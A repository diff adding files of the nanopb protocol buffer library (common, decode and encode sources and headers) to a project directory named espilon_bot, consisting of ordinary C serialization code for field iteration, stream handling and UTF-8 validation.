#define PB_LTYPE_MAP_MSG_W_CB PB_LTYPE_SUBMSG_W_CB
|
||||
#define PB_LTYPE_MAP_SFIXED32 PB_LTYPE_FIXED32
|
||||
#define PB_LTYPE_MAP_SFIXED64 PB_LTYPE_FIXED64
|
||||
#define PB_LTYPE_MAP_SINT32 PB_LTYPE_SVARINT
|
||||
#define PB_LTYPE_MAP_SINT64 PB_LTYPE_SVARINT
|
||||
#define PB_LTYPE_MAP_STRING PB_LTYPE_STRING
|
||||
#define PB_LTYPE_MAP_UINT32 PB_LTYPE_UVARINT
|
||||
#define PB_LTYPE_MAP_UINT64 PB_LTYPE_UVARINT
|
||||
#define PB_LTYPE_MAP_EXTENSION PB_LTYPE_EXTENSION
|
||||
#define PB_LTYPE_MAP_FIXED_LENGTH_BYTES PB_LTYPE_FIXED_LENGTH_BYTES
|
||||
|
||||
/* These macros are used for giving out error messages.
|
||||
* They are mostly a debugging aid; the main error information
|
||||
* is the true/false return value from functions.
|
||||
* Some code space can be saved by disabling the error
|
||||
* messages if not used.
|
||||
*
|
||||
* PB_SET_ERROR() sets the error message if none has been set yet.
|
||||
* msg must be a constant string literal.
|
||||
* PB_GET_ERROR() always returns a pointer to a string.
|
||||
* PB_RETURN_ERROR() sets the error and returns false from current
|
||||
* function.
|
||||
*/
|
||||
#ifdef PB_NO_ERRMSG
|
||||
#define PB_SET_ERROR(stream, msg) PB_UNUSED(stream)
|
||||
#define PB_GET_ERROR(stream) "(errmsg disabled)"
|
||||
#else
|
||||
#define PB_SET_ERROR(stream, msg) (stream->errmsg = (stream)->errmsg ? (stream)->errmsg : (msg))
|
||||
#define PB_GET_ERROR(stream) ((stream)->errmsg ? (stream)->errmsg : "(none)")
|
||||
#endif
|
||||
|
||||
#define PB_RETURN_ERROR(stream, msg) return PB_SET_ERROR(stream, msg), false
|
||||
|
||||
#ifdef __cplusplus
|
||||
} /* extern "C" */
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
#if __cplusplus >= 201103L
|
||||
#define PB_CONSTEXPR constexpr
|
||||
#else // __cplusplus >= 201103L
|
||||
#define PB_CONSTEXPR
|
||||
#endif // __cplusplus >= 201103L
|
||||
|
||||
#if __cplusplus >= 201703L
|
||||
#define PB_INLINE_CONSTEXPR inline constexpr
|
||||
#else // __cplusplus >= 201703L
|
||||
#define PB_INLINE_CONSTEXPR PB_CONSTEXPR
|
||||
#endif // __cplusplus >= 201703L
|
||||
|
||||
extern "C++"
|
||||
{
|
||||
namespace nanopb {
|
||||
// Each type will be partially specialized by the generator.
|
||||
template <typename GenMessageT> struct MessageDescriptor;
|
||||
} // namespace nanopb
|
||||
}
|
||||
#endif /* __cplusplus */
|
||||
|
||||
#endif
|
||||
388
espilon_bot/components/core/nanoPB/pb_common.c
Normal file
388
espilon_bot/components/core/nanoPB/pb_common.c
Normal file
@ -0,0 +1,388 @@
|
||||
/* pb_common.c: Common support functions for pb_encode.c and pb_decode.c.
|
||||
*
|
||||
* 2014 Petteri Aimonen <jpa@kapsi.fi>
|
||||
*/
|
||||
|
||||
#include "pb_common.h"
|
||||
|
||||
static bool load_descriptor_values(pb_field_iter_t *iter)
|
||||
{
|
||||
uint32_t word0;
|
||||
uint32_t data_offset;
|
||||
int_least8_t size_offset;
|
||||
|
||||
if (iter->index >= iter->descriptor->field_count)
|
||||
return false;
|
||||
|
||||
word0 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]);
|
||||
iter->type = (pb_type_t)((word0 >> 8) & 0xFF);
|
||||
|
||||
switch(word0 & 3)
|
||||
{
|
||||
case 0: {
|
||||
/* 1-word format */
|
||||
iter->array_size = 1;
|
||||
iter->tag = (pb_size_t)((word0 >> 2) & 0x3F);
|
||||
size_offset = (int_least8_t)((word0 >> 24) & 0x0F);
|
||||
data_offset = (word0 >> 16) & 0xFF;
|
||||
iter->data_size = (pb_size_t)((word0 >> 28) & 0x0F);
|
||||
break;
|
||||
}
|
||||
|
||||
case 1: {
|
||||
/* 2-word format */
|
||||
uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]);
|
||||
|
||||
iter->array_size = (pb_size_t)((word0 >> 16) & 0x0FFF);
|
||||
iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 28) << 6));
|
||||
size_offset = (int_least8_t)((word0 >> 28) & 0x0F);
|
||||
data_offset = word1 & 0xFFFF;
|
||||
iter->data_size = (pb_size_t)((word1 >> 16) & 0x0FFF);
|
||||
break;
|
||||
}
|
||||
|
||||
case 2: {
|
||||
/* 4-word format */
|
||||
uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]);
|
||||
uint32_t word2 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 2]);
|
||||
uint32_t word3 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 3]);
|
||||
|
||||
iter->array_size = (pb_size_t)(word0 >> 16);
|
||||
iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 8) << 6));
|
||||
size_offset = (int_least8_t)(word1 & 0xFF);
|
||||
data_offset = word2;
|
||||
iter->data_size = (pb_size_t)word3;
|
||||
break;
|
||||
}
|
||||
|
||||
default: {
|
||||
/* 8-word format */
|
||||
uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]);
|
||||
uint32_t word2 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 2]);
|
||||
uint32_t word3 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 3]);
|
||||
uint32_t word4 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 4]);
|
||||
|
||||
iter->array_size = (pb_size_t)word4;
|
||||
iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 8) << 6));
|
||||
size_offset = (int_least8_t)(word1 & 0xFF);
|
||||
data_offset = word2;
|
||||
iter->data_size = (pb_size_t)word3;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!iter->message)
|
||||
{
|
||||
/* Avoid doing arithmetic on null pointers, it is undefined */
|
||||
iter->pField = NULL;
|
||||
iter->pSize = NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
iter->pField = (char*)iter->message + data_offset;
|
||||
|
||||
if (size_offset)
|
||||
{
|
||||
iter->pSize = (char*)iter->pField - size_offset;
|
||||
}
|
||||
else if (PB_HTYPE(iter->type) == PB_HTYPE_REPEATED &&
|
||||
(PB_ATYPE(iter->type) == PB_ATYPE_STATIC ||
|
||||
PB_ATYPE(iter->type) == PB_ATYPE_POINTER))
|
||||
{
|
||||
/* Fixed count array */
|
||||
iter->pSize = &iter->array_size;
|
||||
}
|
||||
else
|
||||
{
|
||||
iter->pSize = NULL;
|
||||
}
|
||||
|
||||
if (PB_ATYPE(iter->type) == PB_ATYPE_POINTER && iter->pField != NULL)
|
||||
{
|
||||
iter->pData = *(void**)iter->pField;
|
||||
}
|
||||
else
|
||||
{
|
||||
iter->pData = iter->pField;
|
||||
}
|
||||
}
|
||||
|
||||
if (PB_LTYPE_IS_SUBMSG(iter->type))
|
||||
{
|
||||
iter->submsg_desc = iter->descriptor->submsg_info[iter->submessage_index];
|
||||
}
|
||||
else
|
||||
{
|
||||
iter->submsg_desc = NULL;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static void advance_iterator(pb_field_iter_t *iter)
|
||||
{
|
||||
iter->index++;
|
||||
|
||||
if (iter->index >= iter->descriptor->field_count)
|
||||
{
|
||||
/* Restart */
|
||||
iter->index = 0;
|
||||
iter->field_info_index = 0;
|
||||
iter->submessage_index = 0;
|
||||
iter->required_field_index = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
/* Increment indexes based on previous field type.
|
||||
* All field info formats have the following fields:
|
||||
* - lowest 2 bits tell the amount of words in the descriptor (2^n words)
|
||||
* - bits 2..7 give the lowest bits of tag number.
|
||||
* - bits 8..15 give the field type.
|
||||
*/
|
||||
uint32_t prev_descriptor = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]);
|
||||
pb_type_t prev_type = (prev_descriptor >> 8) & 0xFF;
|
||||
pb_size_t descriptor_len = (pb_size_t)(1 << (prev_descriptor & 3));
|
||||
|
||||
/* Add to fields.
|
||||
* The cast to pb_size_t is needed to avoid -Wconversion warning.
|
||||
* Because the data is is constants from generator, there is no danger of overflow.
|
||||
*/
|
||||
iter->field_info_index = (pb_size_t)(iter->field_info_index + descriptor_len);
|
||||
iter->required_field_index = (pb_size_t)(iter->required_field_index + (PB_HTYPE(prev_type) == PB_HTYPE_REQUIRED));
|
||||
iter->submessage_index = (pb_size_t)(iter->submessage_index + PB_LTYPE_IS_SUBMSG(prev_type));
|
||||
}
|
||||
}
|
||||
|
||||
bool pb_field_iter_begin(pb_field_iter_t *iter, const pb_msgdesc_t *desc, void *message)
|
||||
{
|
||||
memset(iter, 0, sizeof(*iter));
|
||||
|
||||
iter->descriptor = desc;
|
||||
iter->message = message;
|
||||
|
||||
return load_descriptor_values(iter);
|
||||
}
|
||||
|
||||
bool pb_field_iter_begin_extension(pb_field_iter_t *iter, pb_extension_t *extension)
|
||||
{
|
||||
const pb_msgdesc_t *msg = (const pb_msgdesc_t*)extension->type->arg;
|
||||
bool status;
|
||||
|
||||
uint32_t word0 = PB_PROGMEM_READU32(msg->field_info[0]);
|
||||
if (PB_ATYPE(word0 >> 8) == PB_ATYPE_POINTER)
|
||||
{
|
||||
/* For pointer extensions, the pointer is stored directly
|
||||
* in the extension structure. This avoids having an extra
|
||||
* indirection. */
|
||||
status = pb_field_iter_begin(iter, msg, &extension->dest);
|
||||
}
|
||||
else
|
||||
{
|
||||
status = pb_field_iter_begin(iter, msg, extension->dest);
|
||||
}
|
||||
|
||||
iter->pSize = &extension->found;
|
||||
return status;
|
||||
}
|
||||
|
||||
bool pb_field_iter_next(pb_field_iter_t *iter)
|
||||
{
|
||||
advance_iterator(iter);
|
||||
(void)load_descriptor_values(iter);
|
||||
return iter->index != 0;
|
||||
}
|
||||
|
||||
bool pb_field_iter_find(pb_field_iter_t *iter, uint32_t tag)
|
||||
{
|
||||
if (iter->tag == tag)
|
||||
{
|
||||
return true; /* Nothing to do, correct field already. */
|
||||
}
|
||||
else if (tag > iter->descriptor->largest_tag)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
else
|
||||
{
|
||||
pb_size_t start = iter->index;
|
||||
uint32_t fieldinfo;
|
||||
|
||||
if (tag < iter->tag)
|
||||
{
|
||||
/* Fields are in tag number order, so we know that tag is between
|
||||
* 0 and our start position. Setting index to end forces
|
||||
* advance_iterator() call below to restart from beginning. */
|
||||
iter->index = iter->descriptor->field_count;
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
/* Advance iterator but don't load values yet */
|
||||
advance_iterator(iter);
|
||||
|
||||
/* Do fast check for tag number match */
|
||||
fieldinfo = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]);
|
||||
|
||||
if (((fieldinfo >> 2) & 0x3F) == (tag & 0x3F))
|
||||
{
|
||||
/* Good candidate, check further */
|
||||
(void)load_descriptor_values(iter);
|
||||
|
||||
if (iter->tag == tag &&
|
||||
PB_LTYPE(iter->type) != PB_LTYPE_EXTENSION)
|
||||
{
|
||||
/* Found it */
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} while (iter->index != start);
|
||||
|
||||
/* Searched all the way back to start, and found nothing. */
|
||||
(void)load_descriptor_values(iter);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
bool pb_field_iter_find_extension(pb_field_iter_t *iter)
|
||||
{
|
||||
if (PB_LTYPE(iter->type) == PB_LTYPE_EXTENSION)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
else
|
||||
{
|
||||
pb_size_t start = iter->index;
|
||||
uint32_t fieldinfo;
|
||||
|
||||
do
|
||||
{
|
||||
/* Advance iterator but don't load values yet */
|
||||
advance_iterator(iter);
|
||||
|
||||
/* Do fast check for field type */
|
||||
fieldinfo = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]);
|
||||
|
||||
if (PB_LTYPE((fieldinfo >> 8) & 0xFF) == PB_LTYPE_EXTENSION)
|
||||
{
|
||||
return load_descriptor_values(iter);
|
||||
}
|
||||
} while (iter->index != start);
|
||||
|
||||
/* Searched all the way back to start, and found nothing. */
|
||||
(void)load_descriptor_values(iter);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
static void *pb_const_cast(const void *p)
|
||||
{
|
||||
/* Note: this casts away const, in order to use the common field iterator
|
||||
* logic for both encoding and decoding. The cast is done using union
|
||||
* to avoid spurious compiler warnings. */
|
||||
union {
|
||||
void *p1;
|
||||
const void *p2;
|
||||
} t;
|
||||
t.p2 = p;
|
||||
return t.p1;
|
||||
}
|
||||
|
||||
bool pb_field_iter_begin_const(pb_field_iter_t *iter, const pb_msgdesc_t *desc, const void *message)
|
||||
{
|
||||
return pb_field_iter_begin(iter, desc, pb_const_cast(message));
|
||||
}
|
||||
|
||||
bool pb_field_iter_begin_extension_const(pb_field_iter_t *iter, const pb_extension_t *extension)
|
||||
{
|
||||
return pb_field_iter_begin_extension(iter, (pb_extension_t*)pb_const_cast(extension));
|
||||
}
|
||||
|
||||
bool pb_default_field_callback(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_t *field)
|
||||
{
|
||||
if (field->data_size == sizeof(pb_callback_t))
|
||||
{
|
||||
pb_callback_t *pCallback = (pb_callback_t*)field->pData;
|
||||
|
||||
if (pCallback != NULL)
|
||||
{
|
||||
if (istream != NULL && pCallback->funcs.decode != NULL)
|
||||
{
|
||||
return pCallback->funcs.decode(istream, field, &pCallback->arg);
|
||||
}
|
||||
|
||||
if (ostream != NULL && pCallback->funcs.encode != NULL)
|
||||
{
|
||||
return pCallback->funcs.encode(ostream, field, &pCallback->arg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return true; /* Success, but didn't do anything */
|
||||
|
||||
}
|
||||
|
||||
#ifdef PB_VALIDATE_UTF8
|
||||
|
||||
/* This function checks whether a string is valid UTF-8 text.
|
||||
*
|
||||
* Algorithm is adapted from https://www.cl.cam.ac.uk/~mgk25/ucs/utf8_check.c
|
||||
* Original copyright: Markus Kuhn <http://www.cl.cam.ac.uk/~mgk25/> 2005-03-30
|
||||
* Licensed under "Short code license", which allows use under MIT license or
|
||||
* any compatible with it.
|
||||
*/
|
||||
|
||||
bool pb_validate_utf8(const char *str)
|
||||
{
|
||||
const pb_byte_t *s = (const pb_byte_t*)str;
|
||||
while (*s)
|
||||
{
|
||||
if (*s < 0x80)
|
||||
{
|
||||
/* 0xxxxxxx */
|
||||
s++;
|
||||
}
|
||||
else if ((s[0] & 0xe0) == 0xc0)
|
||||
{
|
||||
/* 110XXXXx 10xxxxxx */
|
||||
if ((s[1] & 0xc0) != 0x80 ||
|
||||
(s[0] & 0xfe) == 0xc0) /* overlong? */
|
||||
return false;
|
||||
else
|
||||
s += 2;
|
||||
}
|
||||
else if ((s[0] & 0xf0) == 0xe0)
|
||||
{
|
||||
/* 1110XXXX 10Xxxxxx 10xxxxxx */
|
||||
if ((s[1] & 0xc0) != 0x80 ||
|
||||
(s[2] & 0xc0) != 0x80 ||
|
||||
(s[0] == 0xe0 && (s[1] & 0xe0) == 0x80) || /* overlong? */
|
||||
(s[0] == 0xed && (s[1] & 0xe0) == 0xa0) || /* surrogate? */
|
||||
(s[0] == 0xef && s[1] == 0xbf &&
|
||||
(s[2] & 0xfe) == 0xbe)) /* U+FFFE or U+FFFF? */
|
||||
return false;
|
||||
else
|
||||
s += 3;
|
||||
}
|
||||
else if ((s[0] & 0xf8) == 0xf0)
|
||||
{
|
||||
/* 11110XXX 10XXxxxx 10xxxxxx 10xxxxxx */
|
||||
if ((s[1] & 0xc0) != 0x80 ||
|
||||
(s[2] & 0xc0) != 0x80 ||
|
||||
(s[3] & 0xc0) != 0x80 ||
|
||||
(s[0] == 0xf0 && (s[1] & 0xf0) == 0x80) || /* overlong? */
|
||||
(s[0] == 0xf4 && s[1] > 0x8f) || s[0] > 0xf4) /* > U+10FFFF? */
|
||||
return false;
|
||||
else
|
||||
s += 4;
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
49
espilon_bot/components/core/nanoPB/pb_common.h
Normal file
49
espilon_bot/components/core/nanoPB/pb_common.h
Normal file
@ -0,0 +1,49 @@
|
||||
/* pb_common.h: Common support functions for pb_encode.c and pb_decode.c.
|
||||
* These functions are rarely needed by applications directly.
|
||||
*/
|
||||
|
||||
#ifndef PB_COMMON_H_INCLUDED
|
||||
#define PB_COMMON_H_INCLUDED
|
||||
|
||||
#include "pb.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Initialize the field iterator structure to beginning.
|
||||
* Returns false if the message type is empty. */
|
||||
bool pb_field_iter_begin(pb_field_iter_t *iter, const pb_msgdesc_t *desc, void *message);
|
||||
|
||||
/* Get a field iterator for extension field. */
|
||||
bool pb_field_iter_begin_extension(pb_field_iter_t *iter, pb_extension_t *extension);
|
||||
|
||||
/* Same as pb_field_iter_begin(), but for const message pointer.
|
||||
* Note that the pointers in pb_field_iter_t will be non-const but shouldn't
|
||||
* be written to when using these functions. */
|
||||
bool pb_field_iter_begin_const(pb_field_iter_t *iter, const pb_msgdesc_t *desc, const void *message);
|
||||
bool pb_field_iter_begin_extension_const(pb_field_iter_t *iter, const pb_extension_t *extension);
|
||||
|
||||
/* Advance the iterator to the next field.
|
||||
* Returns false when the iterator wraps back to the first field. */
|
||||
bool pb_field_iter_next(pb_field_iter_t *iter);
|
||||
|
||||
/* Advance the iterator until it points at a field with the given tag.
|
||||
* Returns false if no such field exists. */
|
||||
bool pb_field_iter_find(pb_field_iter_t *iter, uint32_t tag);
|
||||
|
||||
/* Find a field with type PB_LTYPE_EXTENSION, or return false if not found.
|
||||
* There can be only one extension range field per message. */
|
||||
bool pb_field_iter_find_extension(pb_field_iter_t *iter);
|
||||
|
||||
#ifdef PB_VALIDATE_UTF8
|
||||
/* Validate UTF-8 text string */
|
||||
bool pb_validate_utf8(const char *s);
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
} /* extern "C" */
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
1763
espilon_bot/components/core/nanoPB/pb_decode.c
Normal file
1763
espilon_bot/components/core/nanoPB/pb_decode.c
Normal file
File diff suppressed because it is too large
Load Diff
204
espilon_bot/components/core/nanoPB/pb_decode.h
Normal file
204
espilon_bot/components/core/nanoPB/pb_decode.h
Normal file
@ -0,0 +1,204 @@
|
||||
/* pb_decode.h: Functions to decode protocol buffers. Depends on pb_decode.c.
|
||||
* The main function is pb_decode. You also need an input stream, and the
|
||||
* field descriptions created by nanopb_generator.py.
|
||||
*/
|
||||
|
||||
#ifndef PB_DECODE_H_INCLUDED
|
||||
#define PB_DECODE_H_INCLUDED
|
||||
|
||||
#include "pb.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Structure for defining custom input streams. You will need to provide
|
||||
* a callback function to read the bytes from your storage, which can be
|
||||
* for example a file or a network socket.
|
||||
*
|
||||
* The callback must conform to these rules:
|
||||
*
|
||||
* 1) Return false on IO errors. This will cause decoding to abort.
|
||||
* 2) You can use state to store your own data (e.g. buffer pointer),
|
||||
* and rely on pb_read to verify that no-body reads past bytes_left.
|
||||
* 3) Your callback may be used with substreams, in which case bytes_left
|
||||
* is different than from the main stream. Don't use bytes_left to compute
|
||||
* any pointers.
|
||||
*/
|
||||
struct pb_istream_s
|
||||
{
|
||||
#ifdef PB_BUFFER_ONLY
|
||||
/* Callback pointer is not used in buffer-only configuration.
|
||||
* Having an int pointer here allows binary compatibility but
|
||||
* gives an error if someone tries to assign callback function.
|
||||
*/
|
||||
int *callback;
|
||||
#else
|
||||
bool (*callback)(pb_istream_t *stream, pb_byte_t *buf, size_t count);
|
||||
#endif
|
||||
|
||||
/* state is a free field for use of the callback function defined above.
|
||||
* Note that when pb_istream_from_buffer() is used, it reserves this field
|
||||
* for its own use.
|
||||
*/
|
||||
void *state;
|
||||
|
||||
/* Maximum number of bytes left in this stream. Callback can report
|
||||
* EOF before this limit is reached. Setting a limit is recommended
|
||||
* when decoding directly from file or network streams to avoid
|
||||
* denial-of-service by excessively long messages.
|
||||
*/
|
||||
size_t bytes_left;
|
||||
|
||||
#ifndef PB_NO_ERRMSG
|
||||
/* Pointer to constant (ROM) string when decoding function returns error */
|
||||
const char *errmsg;
|
||||
#endif
|
||||
};
|
||||
|
||||
#ifndef PB_NO_ERRMSG
|
||||
#define PB_ISTREAM_EMPTY {0,0,0,0}
|
||||
#else
|
||||
#define PB_ISTREAM_EMPTY {0,0,0}
|
||||
#endif
|
||||
|
||||
/***************************
|
||||
* Main decoding functions *
|
||||
***************************/
|
||||
|
||||
/* Decode a single protocol buffers message from input stream into a C structure.
|
||||
* Returns true on success, false on any failure.
|
||||
* The actual struct pointed to by dest must match the description in fields.
|
||||
* Callback fields of the destination structure must be initialized by caller.
|
||||
* All other fields will be initialized by this function.
|
||||
*
|
||||
* Example usage:
|
||||
* MyMessage msg = {};
|
||||
* uint8_t buffer[64];
|
||||
* pb_istream_t stream;
|
||||
*
|
||||
* // ... read some data into buffer ...
|
||||
*
|
||||
* stream = pb_istream_from_buffer(buffer, count);
|
||||
* pb_decode(&stream, MyMessage_fields, &msg);
|
||||
*/
|
||||
bool pb_decode(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct);
|
||||
|
||||
/* Extended version of pb_decode, with several options to control
|
||||
* the decoding process:
|
||||
*
|
||||
* PB_DECODE_NOINIT: Do not initialize the fields to default values.
|
||||
* This is slightly faster if you do not need the default
|
||||
* values and instead initialize the structure to 0 using
|
||||
* e.g. memset(). This can also be used for merging two
|
||||
* messages, i.e. combine already existing data with new
|
||||
* values.
|
||||
*
|
||||
* PB_DECODE_DELIMITED: Input message starts with the message size as varint.
|
||||
* Corresponds to parseDelimitedFrom() in Google's
|
||||
* protobuf API.
|
||||
*
|
||||
* PB_DECODE_NULLTERMINATED: Stop reading when field tag is read as 0. This allows
|
||||
* reading null terminated messages.
|
||||
* NOTE: Until nanopb-0.4.0, pb_decode() also allows
|
||||
* null-termination. This behaviour is not supported in
|
||||
* most other protobuf implementations, so PB_DECODE_DELIMITED
|
||||
* is a better option for compatibility.
|
||||
*
|
||||
* Multiple flags can be combined with bitwise or (| operator)
|
||||
*/
|
||||
#define PB_DECODE_NOINIT 0x01U
|
||||
#define PB_DECODE_DELIMITED 0x02U
|
||||
#define PB_DECODE_NULLTERMINATED 0x04U
|
||||
bool pb_decode_ex(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct, unsigned int flags);
|
||||
|
||||
/* Defines for backwards compatibility with code written before nanopb-0.4.0 */
|
||||
#define pb_decode_noinit(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_NOINIT)
|
||||
#define pb_decode_delimited(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_DELIMITED)
|
||||
#define pb_decode_delimited_noinit(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_DELIMITED | PB_DECODE_NOINIT)
|
||||
#define pb_decode_nullterminated(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_NULLTERMINATED)
|
||||
|
||||
/* Release any allocated pointer fields. If you use dynamic allocation, you should
|
||||
* call this for any successfully decoded message when you are done with it. If
|
||||
* pb_decode() returns with an error, the message is already released.
|
||||
*/
|
||||
void pb_release(const pb_msgdesc_t *fields, void *dest_struct);
|
||||
|
||||
/**************************************
|
||||
* Functions for manipulating streams *
|
||||
**************************************/
|
||||
|
||||
/* Create an input stream for reading from a memory buffer.
|
||||
*
|
||||
* msglen should be the actual length of the message, not the full size of
|
||||
* allocated buffer.
|
||||
*
|
||||
* Alternatively, you can use a custom stream that reads directly from e.g.
|
||||
* a file or a network socket.
|
||||
*/
|
||||
pb_istream_t pb_istream_from_buffer(const pb_byte_t *buf, size_t msglen);
|
||||
|
||||
/* Function to read from a pb_istream_t. You can use this if you need to
|
||||
* read some custom header data, or to read data in field callbacks.
|
||||
*/
|
||||
bool pb_read(pb_istream_t *stream, pb_byte_t *buf, size_t count);
|
||||
|
||||
|
||||
/************************************************
|
||||
* Helper functions for writing field callbacks *
|
||||
************************************************/
|
||||
|
||||
/* Decode the tag for the next field in the stream. Gives the wire type and
|
||||
* field tag. At end of the message, returns false and sets eof to true. */
|
||||
bool pb_decode_tag(pb_istream_t *stream, pb_wire_type_t *wire_type, uint32_t *tag, bool *eof);
|
||||
|
||||
/* Skip the field payload data, given the wire type. */
|
||||
bool pb_skip_field(pb_istream_t *stream, pb_wire_type_t wire_type);
|
||||
|
||||
/* Decode an integer in the varint format. This works for enum, int32,
|
||||
* int64, uint32 and uint64 field types. */
|
||||
#ifndef PB_WITHOUT_64BIT
|
||||
bool pb_decode_varint(pb_istream_t *stream, uint64_t *dest);
|
||||
#else
|
||||
#define pb_decode_varint pb_decode_varint32
|
||||
#endif
|
||||
|
||||
/* Decode an integer in the varint format. This works for enum, int32,
|
||||
* and uint32 field types. */
|
||||
bool pb_decode_varint32(pb_istream_t *stream, uint32_t *dest);
|
||||
|
||||
/* Decode a bool value in varint format. */
|
||||
bool pb_decode_bool(pb_istream_t *stream, bool *dest);
|
||||
|
||||
/* Decode an integer in the zig-zagged svarint format. This works for sint32
|
||||
* and sint64. */
|
||||
#ifndef PB_WITHOUT_64BIT
|
||||
bool pb_decode_svarint(pb_istream_t *stream, int64_t *dest);
|
||||
#else
|
||||
bool pb_decode_svarint(pb_istream_t *stream, int32_t *dest);
|
||||
#endif
|
||||
|
||||
/* Decode a fixed32, sfixed32 or float value. You need to pass a pointer to
|
||||
* a 4-byte wide C variable. */
|
||||
bool pb_decode_fixed32(pb_istream_t *stream, void *dest);
|
||||
|
||||
#ifndef PB_WITHOUT_64BIT
|
||||
/* Decode a fixed64, sfixed64 or double value. You need to pass a pointer to
|
||||
* a 8-byte wide C variable. */
|
||||
bool pb_decode_fixed64(pb_istream_t *stream, void *dest);
|
||||
#endif
|
||||
|
||||
#ifdef PB_CONVERT_DOUBLE_FLOAT
|
||||
/* Decode a double value into float variable. */
|
||||
bool pb_decode_double_as_float(pb_istream_t *stream, float *dest);
|
||||
#endif
|
||||
|
||||
/* Make a limited-length substream for reading a PB_WT_STRING field. */
|
||||
bool pb_make_string_substream(pb_istream_t *stream, pb_istream_t *substream);
|
||||
bool pb_close_string_substream(pb_istream_t *stream, pb_istream_t *substream);
|
||||
|
||||
#ifdef __cplusplus
|
||||
} /* extern "C" */
|
||||
#endif
|
||||
|
||||
#endif
|
||||
1006
espilon_bot/components/core/nanoPB/pb_encode.c
Normal file
1006
espilon_bot/components/core/nanoPB/pb_encode.c
Normal file
File diff suppressed because it is too large
Load Diff
195
espilon_bot/components/core/nanoPB/pb_encode.h
Normal file
195
espilon_bot/components/core/nanoPB/pb_encode.h
Normal file
@ -0,0 +1,195 @@
|
||||
/* pb_encode.h: Functions to encode protocol buffers. Depends on pb_encode.c.
|
||||
* The main function is pb_encode. You also need an output stream, and the
|
||||
* field descriptions created by nanopb_generator.py.
|
||||
*/
|
||||
|
||||
#ifndef PB_ENCODE_H_INCLUDED
|
||||
#define PB_ENCODE_H_INCLUDED
|
||||
|
||||
#include "pb.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Structure for defining custom output streams. You will need to provide
|
||||
* a callback function to write the bytes to your storage, which can be
|
||||
* for example a file or a network socket.
|
||||
*
|
||||
* The callback must conform to these rules:
|
||||
*
|
||||
* 1) Return false on IO errors. This will cause encoding to abort.
|
||||
* 2) You can use state to store your own data (e.g. buffer pointer).
|
||||
* 3) pb_write will update bytes_written after your callback runs.
|
||||
* 4) Substreams will modify max_size and bytes_written. Don't use them
|
||||
* to calculate any pointers.
|
||||
*/
|
||||
struct pb_ostream_s
|
||||
{
|
||||
#ifdef PB_BUFFER_ONLY
|
||||
/* Callback pointer is not used in buffer-only configuration.
|
||||
* Having an int pointer here allows binary compatibility but
|
||||
* gives an error if someone tries to assign callback function.
|
||||
* Also, NULL pointer marks a 'sizing stream' that does not
|
||||
* write anything.
|
||||
*/
|
||||
const int *callback;
|
||||
#else
|
||||
bool (*callback)(pb_ostream_t *stream, const pb_byte_t *buf, size_t count);
|
||||
#endif
|
||||
|
||||
/* state is a free field for use of the callback function defined above.
|
||||
* Note that when pb_ostream_from_buffer() is used, it reserves this field
|
||||
* for its own use.
|
||||
*/
|
||||
void *state;
|
||||
|
||||
/* Limit number of output bytes written. Can be set to SIZE_MAX. */
|
||||
size_t max_size;
|
||||
|
||||
/* Number of bytes written so far. */
|
||||
size_t bytes_written;
|
||||
|
||||
#ifndef PB_NO_ERRMSG
|
||||
/* Pointer to constant (ROM) string when decoding function returns error */
|
||||
const char *errmsg;
|
||||
#endif
|
||||
};
|
||||
|
||||
/***************************
|
||||
* Main encoding functions *
|
||||
***************************/
|
||||
|
||||
/* Encode a single protocol buffers message from C structure into a stream.
|
||||
* Returns true on success, false on any failure.
|
||||
* The actual struct pointed to by src_struct must match the description in fields.
|
||||
* All required fields in the struct are assumed to have been filled in.
|
||||
*
|
||||
* Example usage:
|
||||
* MyMessage msg = {};
|
||||
* uint8_t buffer[64];
|
||||
* pb_ostream_t stream;
|
||||
*
|
||||
